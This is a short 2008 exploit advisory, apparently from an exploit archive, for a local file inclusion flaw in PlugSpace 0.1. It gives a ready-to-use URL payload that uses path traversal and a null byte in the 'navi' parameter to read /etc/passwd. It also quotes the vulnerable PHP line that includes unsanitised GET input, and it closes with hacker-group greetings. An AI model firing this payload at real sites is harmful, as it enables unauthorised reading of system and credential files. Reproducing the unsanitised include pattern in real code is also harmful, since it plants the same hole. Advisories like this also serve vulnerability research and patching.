space index.php,PlugSpace 0.1 (index.php navi) Local File Inclusion Vulnerability

:::::::-. ... ::::::. :::.

;;, `';, ;; ;;;`;;;;, `;;;

`[[ [[[[' [[[ [[[[[. '[[

$$, $$$$ $$$ $$$ "Y$c$$

888_,o8P'88 .d888 888 Y88

MMMMP"` "YmmMMMM"" MMM YM

[ Discovered by dun \ dun[at]strcpy.pl ]

##############################################################

# [ PlugSpace v0.1 ] Local File Inclusion Vulnerability #

##############################################################

#

# Download: http://sourceforge.net/projects/plugspace/

#

# Vuln: http://site.com/[plugspace]/index.php?navi=../../../../../../../etc/passwd%00

#

#

# Bug: ./plugspace/index.php (lines: 64-81)

#

# ...

# 64:if (!isset($_GET['navi']))

# 65:{

#...

# 77:}

# 78:else

# 79:{

# 80:include("plugins/".$_GET['navi']."/main.php"); // LFI

# 81:}

# ...

#

#

###############################################

# Greetz: D3m0n_DE * str0ke * and otherz..

###############################################

[ dun / 2008 ]

*******************************************************************************************